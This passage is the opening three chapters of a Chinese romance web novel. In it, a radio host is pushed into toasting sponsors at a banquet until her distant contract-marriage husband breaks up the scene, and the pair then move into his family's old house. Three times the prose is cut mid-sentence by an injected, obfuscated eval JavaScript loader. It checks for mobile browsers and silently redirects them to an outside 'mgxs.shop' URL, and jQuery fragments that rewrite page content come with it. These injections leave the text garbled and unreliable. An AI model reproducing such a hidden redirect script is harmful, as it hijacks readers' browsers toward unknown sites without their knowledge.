《泪潮》
1. 无心过问
八月,京市正值酷暑,室外热浪蒸腾。
姜栩答应同事帮忙上四点档的广播节目,此时刚结束,从广播直播间出来时,已经微微有了汗意。
节目时长一个半小时,直播间里设备散热加上精神高度集中,出来时总有种虚脱般的疲惫感。
临近下班,办公室的人陆续收拾东西。周君绵早早背好挎包,靠在她的桌边,语气轻快:“姜姜,蓝色天地那边新开了家创意火锅店,都说特别好吃,等下一起去呗?”
姜栩把广播稿捋顺,摇了摇头:“今天估计不行,等下要跟着朱立勤去一个应酬饭局。”
“又喊你去?他这分明就是没安好心,为难人。”周君绵眉头不自主地拧起来。
朱立勤是她们广播部的主任,四十出头,整日梳着大油头,逢人就是一脸圆滑虚伪的笑。广播部的人都心知肚明,他对年轻女主持十分关照,心思“独到”。
但他并不太待见她俩。
去饭局的情况不是没有过,广播部不止她们两个人,偏偏朱立勤就点名她俩。别人看来是赏识栽培,其实不然。
周君绵压低声音,颇为愤懑:“这人简直没完!抓着我们不放了。”
姜栩淡然地倒掉杯子里的凉水,不紧不慢:“他无非就是想给我们难堪,然后逼我们在台里好好顺着他。”
“太恶心了。”
姜栩笑意清淡,带着几分无奈:“人在淫威下,不得不低头。”
“那你等会儿到地方给我发消息。发地址,我就在附近等着。”周君绵神色认真起来,“随时保持手机通畅。”
这是两人之间默契的预防策略。自从朱立勤开始安排她们应酬,彼此都会守在附近。一旦有什么意外情况,就立马发信息,呼叫帮助。至于怎么帮,真出了事该怎么办,她们至今还遇到过,也没法实践。但多一个人,总归多条退路,多些让人安心的底气。
“知道了,”姜栩看了眼时间,“你先走吧,不用等我。”
周君绵没动,靠着桌边换了个姿势,也换了话题:“最近新访谈节目的主赞助商定下来了,启悦集团,听说是背后老板亲自敲定的合作,这事他没跟你说吗?”
启悦集团掌权人陆尽惟,难得的商业奇才,投资眼光更是精准毒辣,但行事低调,极少在公众视野露面。
此消息一出,大家都觉得广电台走了大运,让启悦主动赞助新节目。不少人也纷纷好奇,陆尽惟这号低调的掌权人到底是什么样,又为何突然赞助。
姜栩对此毫无波澜,把稿子归类放好:“我又不是他领导,干嘛跟我说。”
“家里的领导啊,”周君绵调侃地笑,“你们好歹法定夫妻,老公都出去三四个月了,新婚燕尔直接分居,简直离谱。他还没回国吗?”
“今天回来。”姜栩点开手机,屏幕上弹出陆尽惟助理发来的航班信息,傍晚五点半落地京市。
陆尽惟的一些行程会让助理发给她,大概是出于沟通需要。毕竟已是夫妻,也不可能一直处于不闻不问的状态,一些基本的尊重和了解还是要有的,加之老宅那边偶尔会问起陆尽惟,她知道些情况也好应付。
姜栩不会主动过问探究任何他的行踪,发了行程她就看,偶尔客套地问问什么时候回国、项目忙不忙之类。
彼此礼尚往来,都有一种不打破的默契。
她看着这次的行程信息,一如往常地问了句是否要去接机,那头说不用,她也没再说什么,简单回复便终结聊天。
周君绵眼睛一亮:“那正好啊,让他来接你……”顺便为她指了条野路子,“你就应该好好利用一下他这个大靠山,有了这层身份,朱立勤哪里还敢这么对你。”
姜栩幽幽递去一个意味深长的眼神,像是在说毫无可能。
“他不会来的。”姜栩回答她,语气笃定。
周君绵张了张嘴,半晌问道:“你跟他现在是什么情况啊?”
“什么什么情况?”
“你们真结婚了吗?”周君绵表示怀疑。
“有证的,合法的。但目前跟他不太熟,我掰着手指头都能数出跟他见了几次面。”
说完开始一一细数与陆尽惟见过的面。
并不超过十次。
周君绵差点儿被呛到:“我见办公室的送水小哥都比你们见得勤。”
姜栩:“……”
“结婚都快半年,温水泡青蛙,别说泡,水都没有打回来,好歹也让青蛙先沾点儿水吧……”
姜栩佯怒地睨她:“别人不了解,你还能不知道。还有,温水和青蛙一点儿也不贴切!”
“那什么贴切?”
姜栩收到信息,编辑一番回复过去,看着周君绵思考:“破锅自有烂盖配……”说完自己都笑了,“人以群分,各取所需。”
看着姜栩的自嘲自贬,周君绵沉默片刻:“真不知道你图他什么。”
“图他有钱有势,还有一张好看的脸……”
“这不就是贪财又好色。”
姜栩配合地给出解答:“有财又有色,现在符合的也很少。”
周君绵没被她的玩笑带偏,轻轻叹了口气:“姜姜,你不是这种人……陆尽惟也不是什么普通人,不是什么慈善家,别过于欺骗自己了。”
姜栩收拾的动作顿了下,目光落在窗外,阳光带着浓烈的金色,把一切其他颜色都弱化。
“我知道,有数的。”她收回视线,语气清淡,“他有他待解决的问题,我总归要结婚的,也算一拍即合。我们井水不犯河水地搭伙,我不吃亏。”
有些话不必说得太透,她和陆尽惟之间,某种程度上就是各取所需的合作。
周君绵知道她的心思,没再多劝,把话咽了回去。
办公室里人走得差不多,显得空寂坦荡。炽热的阳光鎏金般地四处挥洒,晃得人眼眸发虚。姜栩看这窗外,忽然闪过一句感慨:似是故人来,却非少年姿。
周君绵走后,办公室里只有一两个人。朱立勤不知何时站在办公室门口,油亮的头发在反光。
他挂着一脸标准化的领导假笑:“小姜,走了,车在楼下等着。”
姜栩拿包起身,跟在朱立勤身后。
路过走廊的拐角时,她余光扫到周君绵从楼梯间里探出半个脑袋,冲她轻轻拍了拍胸脯,以示安心。
姜栩弯唇浅笑,朝她回了个OK。
电梯门关上,密闭的空间里弥漫着朱立勤身上的古龙水味,让人不适。
他侧头看过来:“今天的饭局很重要,几个节目赞助商都在,你好好表现,对你日后在台里的发展绝对有好处。别出什么岔子。”
又是这番老生常谈的言辞。
姜栩平静无波地回复:“知道了。”
-
承德楼作为A市数一数二的餐厅,商务宴请,好友聚会,日日高朋满座。来这儿消费用餐的客也都是非富即贵的人物,他们来消费,大多是为这儿的环境和名气而来。
奢华的包厢里,紫檀木圆桌被头顶的水晶吊灯照得泛出温润的光。满桌精致菜肴,摆盘考究,赏心悦目。
但周遭气氛却在觥筹交错间带着一种诡异的客套。
饭局上都是赞助商、导演和制片,商量着赞助权益、广告分成等细节。独独她一个广播节目主持人坐在这里,格格不入,如同多余的摆设。
她只能尽量降低自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590401|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的存在感,微垂着头,盯着面前骨碟上的精美花纹,心中默念:我是背景板,我是空气,看不见我……
朱立勤在席间堆笑周旋,指挥着服务员将珍藏的好酒一一开启。
大概是朱立勤授意,她的位置被安排在一个肚大脸肥,富豪气息十足的男人旁边,他是节目的赞助商之一——比勒集团董事长刘坤。
“小姜啊,别一直坐着。”朱立勤适时开口,“刘总是我们台的老朋友,对各个节目向来都是鼎力支持。快,你敬刘总一杯,表达一下感谢。”
刘坤早先偶然见过姜栩两次,对她印象很是不错,几次三番递话暗示。朱立勤自然懂得投其所好的道理,饭局上才有了她。
刘坤懒散地靠在椅背上,目光在她清丽的脸上逡巡。脸上妆容浅淡,若清风微拂,清新的模样比外面那些浓妆艳抹的不知道好看多少倍。
姜栩心底一阵抵触,面上维持着职业微笑,端起酒杯:“刘总,感谢您对节目的支持,我敬您。”
说罢,仰头把杯中悄悄掺过白水的酒一饮而尽。
刘坤见状,兴致更甚,也端起酒杯:“小栩都喝了,哥自然陪着你,我也干了……以后节目有什么需要,跟你朱主任说,或者直接跟我提,都一样。”
酒至半酣,气氛愈加热络。
刘坤身旁的人谄媚地起哄:“刘总难得这么高兴,姜小姐,不如和刘总喝个交杯酒?咱们刘总什么场面都应付得来,就是难过美人关。”
满座附和,笑声充斥包厢。
姜栩僵在原地,握着酒杯的指尖用力收紧,指节泛白。
进退两难的困局,大概就是如此。
拒绝,就是“不给赞助商面子”“不懂变通”“不配合工作”,往后在台里没法立足;顺从,便践踏底线,恶心且屈辱。
她抬眼看向一旁的朱立勤,想寻求一丝解围的余地,可对方转头与总制片说话,明摆着乐见其成。
姜栩豁然。
那是之前的事了,大概也是朱立勤不待见她的原因——
那天她下班走得晚,撞见他骚扰新来的实习生:只要你听我的,实习期肯定能过。她用手机拍照了证据。后来朱立勤套路重施,一边暗示潜规则,一边想在办公室揩油。她初生牛犊不怕虎,直接捅到台长那里,连带着照片和录音。
后来台里开会,台长特意强调此类事,即使没有点名,但大家心知肚明,朱立勤收敛没再对她做什么,因此,她也受到“特别关照”,一直留在广播部历练,时不时还要被拉出来当牛做马。
现在的情况,朱立勤大概就是借着饭局的名义,把她往难堪的境地推。
朱立勤终于开口,压迫式鼓励:“小姜,你是广播部的一员,是咱们广电台的一分子。”
姜栩没动,看向席间稳坐而不出声的台长,对方避开了她的视线,如同默许。
她懂了。
若不是上面睁一只眼闭一只眼,今天怎么也轮不到她在这儿陪笑陪酒。
自己现在就好比铁匠的砧子——横竖都是挨打的货。
姜栩心底涌上不甘,念头直往外冒:甩脸走人,主持人也不是非得在广电台当。直接把酒泼他脸上,再把他骂一顿……
心里这么想,但她还是妥协地维持着最后的体面与冷静:“各位别打趣我了,酒我敬到位,交杯酒实在不妥。”
“怎么会不妥?”刘坤铁了心,朝她举杯,“这点儿面子都不给?”
姜栩脊背紧绷着,正开口解释:“刘总,我已经……”
咔哒——
包厢门被推开,服务生侧身引路,一道挺拔的身影走了进来。
喧闹的声音短暂地休止。
2. 有心注意
来人是陆尽惟。
一身藏蓝色定制西装,衬得身形挺拔利落。灰色领带规整地系在领口,没打领带夹,却依旧显得一丝不苟,周身透着清冷矜贵,给人一种淡淡的疏离感。
五官俊朗而分明,鼻梁笔挺,眉眼带着几分冷感,轮廓清晰的脸庞胜过现今的流量小生,却又多了几分上位者的凌厉与沉敛。
他右手拿着手机贴在耳边,见到满桌人望过来,微微颔首示意,对着电话那头简短交代两句,便挂断了电话。
看到陆尽惟的那一刻,姜栩闪过一丝期望:他能不能帮忙解解围?
念头仅仅停留半秒,就被她自己掐灭。
彼此的关系还没到这个份儿上。她无法要求他为自己出头,他也没义务在公开场合扮演恩爱丈夫。
更何况,他出现在这里,本就不是什么巧合。
姜栩垂下眼,攥紧酒杯。
陆尽惟缓步走入包厢,目光平静一扫,谦和地说了声抱歉,说明自己来晚了。
“不晚陆总!我们才刚开场。”台长杨华利立刻起身,热情相迎。
刘坤也换了副面孔,收回对姜栩的关注,忙不迭地迎上去:“陆总,请这边来坐。”
启悦集团的名号,在座没人不知道。陆尽惟作为掌权人素来低调,极少出现在各类应酬饭局,圈子里很多人想跟他搭上关系,却无门路。今日他亲自赴局,对众人而言是千载难逢的机会,自然也不敢有怠慢。
众人簇拥着招呼他落座,有人递上热毛巾,有人给他倒茶,场面热闹。刘坤站在一旁,气势弱下半截,刚才那副架子没了踪影。
陆尽惟噙着一抹礼貌浅笑,视线不着痕迹地掠过席间,最终落在斜前方的姜栩身上。
她坐在刘坤旁边,手里还端着酒杯,藕粉色的裙子衬得她皮肤更加白,脸上的笑容已经僵硬。她没看他,垂眼望着面前的骨碟,周身并不自在。
他只淡淡一瞥,便不动声色地收回视线。
“陆总,还以为您今日事务繁忙,没法过来了。”有人开始寒暄,试图让桌上的气氛不那么冷。
陆尽惟浮着友好而礼貌的浅笑:“恰好腾出空闲,希望没有打扰到各位。”说完,视线错开,目光再度扫过那抹淡粉身影,停留了几秒。
桌上开始转入各种商业话题,姜栩没兴趣,目光漫无目的地落在满桌佳肴上。
水晶虾饺、松鼠鳜鱼、佛跳墙……可从饭局开始到现在,没一个人动筷子,不是推杯换盏就是说场面话。
姜栩悄悄拿起筷子,想趁无人注意时夹个虾饺垫垫肚子,身旁的制片人碰碰她的胳膊,友好提醒她先别动。
她只好把筷子放下,双手交叠地放在腿上,盼着这些人能早点动筷子。
盼头很快被打破。
席间聊起投资赞助事宜时,朱立勤状似无意地开口:“说起来,《人生访谈》这个新节目该感谢陆总的大力扶持。”侧头看向姜栩,“小姜,你是台里优秀主持人,今天机会难得,快去敬陆总一杯,感谢感谢。”
他的话句句站在工作角度,挑不出毛病。
姜栩心底一沉,想起朱立勤的警告:这尊大佛可别得罪了,不然咱们都得完。此时若再推脱拒绝,便真是不识大体、不懂人情世故,以后怕是又要被穿小鞋。
她深吸一口气,起身绕着圆桌的边缘,一步步往陆尽惟的位置走。
停在陆尽惟身侧,声音干涩道:“陆总,我敬您。”
话落,迟迟没得到回应。
她心头微微发紧,暗自思忖,即便算不上深交,好歹也算熟识,当着这么多人的面,他总归会给自己几分薄面吧……
抬头看陆尽惟时,才发现他根本没看她,目光朝前直视,不知落在何处。
犹豫着要不要再次开口,冷淡低沉的声音率先一步响起:“出去。”
姜栩愣住,怀疑自己听错了。
这是在说她?
众人注意力本就在他身上,这两个字一出,让包厢渐渐安静下来,刚才还在低声交谈的人也都停下来,目光齐刷刷地落在她和陆尽惟之间。
刘坤也懵,估摸着姜栩哪里得罪了陆尽惟,上前把她往旁边拽,端着酒杯堆笑:“陆总,您别生气,这是咱们台里的人,不懂事,就是想认识认识陆总,这杯酒,我替她敬您。”
姜栩被拽得一个趔趄,手里的酒杯晃了晃,大半杯白酒洒出来,在地毯上留下一块深色的印记。
陆尽惟没理会刘坤,视线落在他端起的酒杯,又移到姜栩身上。
眼神里带着一丝怪异,不易察觉。
再次看向身前堆笑的刘坤,他唇角淡淡勾起,语调带着不适宜的温和:“你凭什么替她敬?”
刘坤哑口无言。愈发认为是姜栩得罪了陆尽惟,斟酌不过几秒,便给自己找个台阶坐了回去。
姜栩:“……”
陆尽惟收回目光,转向杨华利,声音不大,却足够清晰:“杨台长,广电台什么时候改了章程?访谈节目主打深度内容访谈,本该以内涵、价值立足,难道现在需要靠主持人酒桌应酬,才能稳稳当当?”
这话让整个包厢鸦雀无声。
他身子微微后靠,修长的手指轻轻敲了敲桌面:“还是说,这节目的核心价值,不在内容本身,而在这酒桌上?”
朱立勤与几位领导神色难看。姜栩站在一旁,心底莫名生出一丝隐秘的畅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590402|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快。
正在她忍不住暗爽时,陆尽惟将视线缓缓移到她身上,淡漠疏离:“又或者说,这位主持人自认专业能力不足,只得靠这类方式证明自身价值?”
姜栩愣住,不可思议地抬眼看向他。忍着一口气,为自己刚刚的幸灾乐祸感到羞耻与懊恼。
没等她说话,不咸不淡的声音再次响起:“现在广电台工作环境还是太艰难,主持人都要兼职做公关了。”
“公关”两个字从他嘴里说出来,有种被骂了个狗血淋头的错觉,却还不能反驳。
众人面面相觑。
杨华利脸色青一阵白一阵,立马反应过来,厉声对朱立勤道:“胡闹!朱主任,你是怎么安排工作的?主持人是做节目内容的,哪里需要来酒桌应酬?”
随即看向姜栩,语气放缓,带着刻意的体恤:“小姜啊,委屈你了,看你脸色不太好,先回去休息吧,不要影响了明天的工作。”
“……”
姜栩刹那间明白了陆尽惟的用意。
又气又甘拜下风。
他用一种伤人的方式,撕开了这层遮羞布,逼得台长主动给自己台阶,体面脱身。
果然还是看人下菜碟,平日里视而不见,如今来个大人物就开始假意关怀。
“谢谢台长。”她平静说着,转身去拿包。
刘坤心有不甘,拦住姜栩:“陆总,这……”
话没说完,陆尽惟视线扫在他阻拦的手上。凌厉的视线下,刘坤心底一怯,终是悻悻放下手。
陆尽惟缓缓道:“姜栩,拿好你的东西,先出去。”
姜栩点头,与他视线交汇,平淡移开。
最后的礼貌做到位,她朝他微微颔首,与众人打招呼:各位失陪,你们吃好喝好。”
在数道意味不明的目光中,她一步一步,稳稳地走出了包厢。
杨利华也没想到,很快心中了然,陆尽惟这般身份,绝不会无端关注一个普通主持人。他为刚刚的事情打圆场,碰杯时阿谀一笑:“让陆总见笑了,这是我们的疏忽,不会有下次。”
陆尽惟自然地碰杯,声音压低,仅两人能听清:“杨台长,如果广电台风气一直这样,恐怕是要出乱子。什么人在什么位,主持人就好好做她的主持人,您作为台长,也能少些纷扰。凡事清清楚楚的,而非只靠人情应酬,这位置才坐得稳……”
言尽于此,他抿了口酒,神色淡然,“当然,我一个赞助商,也只是提提建议,主要也是希望咱们合作能长久,您别见怪。”
“哪里哪里,感谢提醒。”杨利华笑容淡下去,背后冒出一层汗。他能坐到台长的位置,也能很容易地从这个位置下来,他很清楚。
3. 心照不宣
包厢外,姜栩感到一身轻松。
她挎上单肩包,暗自骂了一遍包厢里一群中年油腻男,又把后来的陆尽惟骂了一遍,让她难堪是真的,但解围也是真的。
手机传来周君绵的问候:【怎么样了?】
姜栩立马回复:【一切都好。】她想了下,又说了一句,【已经离开饭局了,放心。】
周君绵:【OK】
两人聊了几句,相约下一次去吃火锅。
刚到大厅,陆尽惟的助理周智叫住她。
“太太,老板说让你等他一起回去。让这边重新准备了几道菜,我带你去包厢,你先用餐。”
姜栩犹豫了一下,跟着周智往里走。
穿过一条长廊,进入一间雅致包厢,里面空间没刚才的包厢那么大,却更奢华明亮,陈设摆件独具特色。
“这是老板私人使用的包厢,不会有人打扰,”周智帮她倒了杯茶,看了眼时间,“估计十分钟菜就上来了,你稍等。”
她点了点头,环顾四周环境,“谢谢啊。”
“太太,如果有事随时联系我。”
周智似乎是特意出来传话,姜栩怕耽误他工作,笑着摆手:“我没什么事了,你忙你的,不用管我。”
等菜期间,姜栩出去买了几杯喝的,再回到包厢时,里面多了两个人。
还在楼上包厢的人此时正坐在桌前,慢条斯理地喝水。
察觉门口动静,陆尽惟抬眼看过来,两人对视一番,没有任何言语,纷纷移开。
“太太,菜刚上。”周智打断这种凝滞的气氛。
“好,谢谢。”走近木桌前,姜栩从纸袋里拿出一杯果茶,侧身递出:“周智,这是给你买的。”
周智受宠若惊:“谢谢太太。”
“太太”这个词总让姜栩浑身不自在,给人一种异常陌生的感觉,疏远过头。按照长远发展来说,多个熟人多条路,估计以后陆尽惟与她之间,少不了周智递话。
“你叫我姜姜就行,朋友们都这么叫我。”
周智悄悄瞥了一眼陆尽惟,点头说好。
等菜全部上齐,包厢又回归安静。
姜栩放好自己的那杯果茶,把另一杯递向旁边:“这个是给你的,刚刚在楼上谢谢你了。”
虽说是把她赶出去,好歹是让她脱离饭局。难堪归难堪,总比在里面当耍大戏的猴子强。
陆尽惟看了一眼那杯饮料,没接:“我不喝这些。”拿起桌上的茶壶给自己倒了杯水,语气随意,“你是我妻子,这是应该的。”
姜栩怔了一下。似乎这是他第一次用“妻子”这个词。
垂眸看到手里的果茶,竟有些不死心。这可是店里最贵最好喝的一款。
“这款很好喝,纯椰子水,加上一些抹茶中和,还有奶盖,清爽不腻,健康干净,你要不试一口?”
话落,陆尽惟掀起眼皮看了眼她手里一半透明一半草绿还有小半层奶白的水,声音淡然:“有研究奶茶这个闲心,不如好好想想怎么不被当成工具人使唤。”
不得不承认他说得不无道理,她沉默了会儿,说道:“你那样说,确实有用,他们表面上恭谨顺从,心里肯定记着,指不定往后又要给我穿小鞋。”
陆尽惟抬眼看了她一下。
“我不说那些话,他们就不给你穿小鞋了?”他的语气没什么起伏。
姜栩没说话。
“你要么一直低头,直到他们觉得没必要再为难你,”他的声音很平静,“要么就让他们明白,动你不是没有代价的。”
姜栩看着他,嘴唇张了张。
“你选哪种?”
“……第二种。”
陆尽惟扫了她一眼:“那效果达到了。”
姜栩不太清楚他说的效果到底如何,但此刻觉得有必要为自己挽尊:“……今天是个意外,我以为只是简单的饭局,其实也有准备一些躲酒技巧。”她说明今天的情况,只是高估了朱立勤的品德底线。
“随你。”
短短两个字,又让包厢的气氛冷了几度。姜栩还想说两句挽回颜面,最终在他的沉默中偃旗息鼓。
她盯着他的脸看了好久,五官深邃立体,薄唇挺鼻,下颌线条明晰。他并不是那种凌厉冷硬的长相,抛开其他,是一种芝兰玉树的清贵,只是严肃的西装和凌烈的眼神将他的大部分柔和遮盖,显得疏淡清冷。
其实,他的某些角度,某些神情,像极了另一个人。
恍惚间,这张脸既熟悉,又陌生。
严格来说,这不过是他们见的第八面。
初见,是在双方家人的意向下相亲。
看到他的第一眼,她差点失态。或许,她其实就是失态的。
姜栩印象很深,因为见完他之后她就大哭了一场,第一次那么嚣张地借着雨水宣泄。
后来两人又约了见面。
咖啡馆里,他一身休闲舒适的亚麻衬衫,干净利落,挺拔身型分外出众。他举止自然随意,端起咖啡喝了一口,轻搁在银灰玻璃桌面:“姜小姐,我爷爷很喜欢你。”
“所以呢?你是打算和我结婚吗?”
“你愿意结婚吗?”他反问。
“现在我们是双向选择的过程,你愿意,我也没有任何异议。”
陆尽惟盯着她看了会儿,温淡地翻译她的意思:“结婚跟谁都是结。”
他的眼里蓄满淡然笑意,不失风度:“姜小姐,我需要应付家中长辈,如果你对我其他方面觉得还行,可以考虑我们结婚。结婚后我会尽作为丈夫的责任和义务,你父亲公司最近遇到的瓶颈和麻烦我都会一一帮着解决。只是有些话需要提前说明,别在感情上对我有所期待。”
姜栩身子一僵,不是失望于得不到感情回应,而是惊觉自己的感情期待已经被磨灭,所以才坐在了这里。
无情无绪的话继续展开:“顺利的话,我们直接领证,婚礼这些都按照你的要求来。婚后,我们履行好夫妻的职责,在双方家庭面前维护好婚姻的关系和彼此的体面。你有任何要求都可以提,我会尽量配合满足。”
陆尽惟的话说得很直白,话里话外的意思明显:他们的婚姻不会有真感情。
后来他们见了彼此的家人,两家一起吃饭,融洽和睦。
再见面,是去民政局登记结婚。
在国外办了场低调的婚礼后,陆尽惟忙着海外市场,后来的几个月一直在国外,中途回过京市一趟,但两人都没有要见一面的意思,心照不宣地选择忽略。
最近的见面,就是刚刚的饭局。
“你不饿?”陆尽惟打断她的神思。
姜栩回过神,发现他正看着自己,目光里没有不耐,只是温淡:“吃完一起回老宅。”
姜栩没有任何异议,况且昨天陆爷爷也特意跟她通过电话,叮嘱她和陆尽惟一起回去。
“要不要准备什么?”
“做好心理准备就行。”
“……”
安静片刻,她悄悄看了他一眼,他正慢条斯理地夹菜吃饭,从容淡定。
思及陆爷爷的千叮万嘱,她再次确定:“今晚就要在那边住下了吗?”
老爷子陆潜义给他们定了个规矩,结婚后要在老宅那边住上一段时间,一是为培养夫妻感情,二来让她熟悉陆家。但结婚之后大家都比较忙,还是原来各过各的状态。现在陆尽惟海外事务一结束,老爷子就给两人下了最后通牒。
对面眼也没抬:“嗯。也没什么理由能让爷爷放我们离开。”
“好吧……”
“老宅那边已经准备了你的所有物品,不用担心。”
他的意思很明显,姜栩咽下饭菜:“这么着急?”
说完又有些后悔,这语气听着好像在讨价还价,她稍稍找补:“你刚回来,得好好休整,其实也不差这一晚吧?”
对面没有回应,反倒让她认清现实:“不是差一晚的事,”他不紧不慢地陈述,“是迟早的事,早点适应接受,不是件坏事。”
姜栩:“……”
两人吃得差不多,出大厅时,车已经停在门口。
坐进车内,陆尽惟接了个电话,挂断后提醒她:“如果你有什么必要的物品还在家里,可以回去收拾,我在楼下等你。”
搬去老宅住的事情她消化得快,虽然物品准备齐全,但她更习惯用自己熟悉的,想着回去简单收拾点常用物也好。
“地址告诉司机。”他说。
姜栩报了个住址。
街道景渐渐后移,两人除了正常不过的交流也没什么话可说,她扭着头看向窗外,关注着每一束流动的灯火。
手机震动了一下。
周君绵发来消息:【你还没到家?】
她住在姜栩的楼下,此时正在她家门口敲了会儿门。
姜栩低头打字:【在路上,】想了下,又补充一句,【跟陆尽惟一起。】
周君绵秒回了三个感叹号,接着又发来:【你们干嘛去,他要来你这儿住吗?】
姜栩:【必然不是,上次不是跟你说过么,他回来了就要搬到陆家老宅住一段时间。今晚就过去……】
对方正在输入的提示闪了很久,终于变回原样:【这么迅速,□□生活来了……】
还跟了一个贱兮兮的表情包。
姜栩看着这个回复,无话可说。丢了个无语表情包,顺势锁了屏幕继续关注窗外。
没一会儿,身旁的人打破沉默:“我该叫你什么?”
“啊?”姜栩回头。
“他们叫你姜姜,我再继续叫你,姜小姐?”他眉眼淡然,语调微微扬了扬。
“那你也这么叫吧,姜姜。”
“好。”
姜栩抬眼,才发现陆尽惟的视线正落在她手中的奶茶上,不是她的那杯,是原本说要给他的白绿相间的那杯,最终被她自己给喝了。
看出他的意思,她解释:“你说不喝的,浪费了。”
陆尽惟没有回答,眼神里带着一点戏谑的笑意,像是在说:显然你诚意并不好。
她自动忽视掉,回问:“那我叫你什么……阿惟?”
结婚时,她听到他家人朋友都是这么叫的。
“可以。”
小区楼下,姜栩打开车门,转头对着陆尽惟说道:“我上去收拾,很快就好。”
陆尽惟颔首。
刚迈了一只脚,她转头象征性地问:“你要不要上楼喝点水?”
沉默几秒,陆尽惟居然点头了。
天知道,她恨不得掌自己的嘴。不过是随口客套,没想到他竟没有推辞客气。
开门,她率先进去,将钥匙搁在柜子上,“直接进来,不用换鞋。你喝什么?”
陆尽惟跟在身后:“矿泉水就好。”视线扫了扫周围,原木色调,空间不是很大,但家具摆设简洁舒畅,暖色灯光为整个客厅铺上一层柔光,温馨舒适。
跟她整个人确实挺搭。
姜栩从冰箱拿了一瓶矿泉水递给他,让他随意,开始进房间收拾。
按照她平时的收拾速度,慢吞吞地差不多一两个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590403|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小时,但现在坐着个等她的人,她只能草草捡些常用的物品,时间瞬间压缩到半个小时。
陆尽惟见她只推着一个中号行李箱,略有惊讶:“就一个箱子?”
他以为,是因为她东西多,不好搬才问他要不要上楼喝口水。
姜栩从房间出来,将包包一并放在行李箱上:“就这一个,只捡了常用的,后面有需要可以再回来拿。”
蚂蚁搬家。
陆尽惟脑海里闪过这个词,点了点头,顺势接过她的行李箱。
姜栩猝不及防,把行李箱护着没放手。
陆尽惟手在空中顿了下,攀上行李箱杆,扫一眼她的警惕之态:“帮你拿,还能抢你的不成。”
“我不是那个意思。”她有点囧,补了一句谢谢,跟在他身后关门下楼。
半个小时车程,车子平稳停在院子里。
陆尽惟没急着下车,薄唇开启:“这一两个月我们都会在这边住,爷爷面前尽量自然些。之后我们直接搬去婚房,在翠显山,就不用刻意了。”
姜栩悄悄抽了一口凉气。
翠显山别墅,每平均价二十八万左右,京市很多富人都觉得住不起。
她家不算差,但在陆家面前是小巫见大巫。现在倒好,结个婚升级了,也难怪别人调侃她贪财好色,目前这情况,可不就是……
“爷爷近来身体不适很好,我们顺着他一些。”见她没回应,陆尽惟又提醒了一句。
姜栩回过神:“放心,我一定在爷爷面前和你配合好。”
进门时,姜栩深呼口气,一眼便看到坐在客厅沙发上的陆老爷子,跟身边的管家说着些什么。
经管家提醒,陆潜义转头看到进门的两人。
“爷爷。”姜栩率先喊了声,笑容随和。
不关乎陆尽惟的提醒,她对老爷子很有好感,没什么架子,偶尔通电话也会跟她找话题拉近关系,就如同她自己的爷爷一样。
陆潜义欢喜地“哎”了一声,在管家的搀扶下站起身。
姜栩往他的方向走。
陆潜义满脸慈祥,眼角的皱纹因笑容而愈发明显:“早先就该让你们过来住的,阿惟那边去国外溜得快,让你受委屈了。”
姜栩摇头浅笑:“没有的爷爷,不委屈,工作重要。”
陆尽惟在一旁全程没怎么开口,淡淡瞥了一眼姜栩,神色渐渐柔和。
说话间,姜栩感觉有道视线扎在身上,转头间,与他视线相撞,又极为默契地各自移开。
画面落进陆潜义眼里,他看了看姜栩,又看了看身边高大的男人,语气威严了几分:“国外的工作都处理好了吧?”
“处理好了。”
“这段时间你们俩就在老宅这边住下,算是来陪陪我这个老头子,夫妻两个刚结婚都没怎么相处,不像话。”陆潜义发话,后一句才是重点。
“知道,她常用的行李都带过来了。”陆尽惟对此格外平静。
老宅环境清幽雅致,别墅整体规模并不算大,一共四层,陆潜义乐意住顶层,给他们夫妻安排在二楼,方便上下楼。
时间不早,家里佣人早已将两人的主卧收拾妥帖。
姜栩扶着行李箱站在主卧,不知所措。
陆尽惟解开领带,极其自然地开口:“我去隔壁冲澡,你用这里的浴室,早点收拾准备休息吧。”
姜栩抬起头,看到他已经拿了睡衣,准备出去。
她本想问两人怎么睡,但他都主动提出去隔壁洗澡了,那是不是意味着他也住隔壁,把主卧让给她?
她心里这么认为,看着他的脸,点头说好。
看着人离开,姜栩开始收拾行李箱,捞起带来的几套常用服装和睡衣,往衣帽间走。
衣帽间比她想象中的大。一大片全是女士的衣服和各种配饰搭配,灯光打得恰到好处,衬得全新的服装像一个个有灵魂的小仙子。反观另一边,是各色单调规整的男士衬衫和西装,显得她这边的服饰格外跳脱。
姜栩顿了下,在女士服饰区看了几遍,给自己带来的那点儿日常服装挪出位置。
“行李衣物可以放着,明天让人收拾整理。”
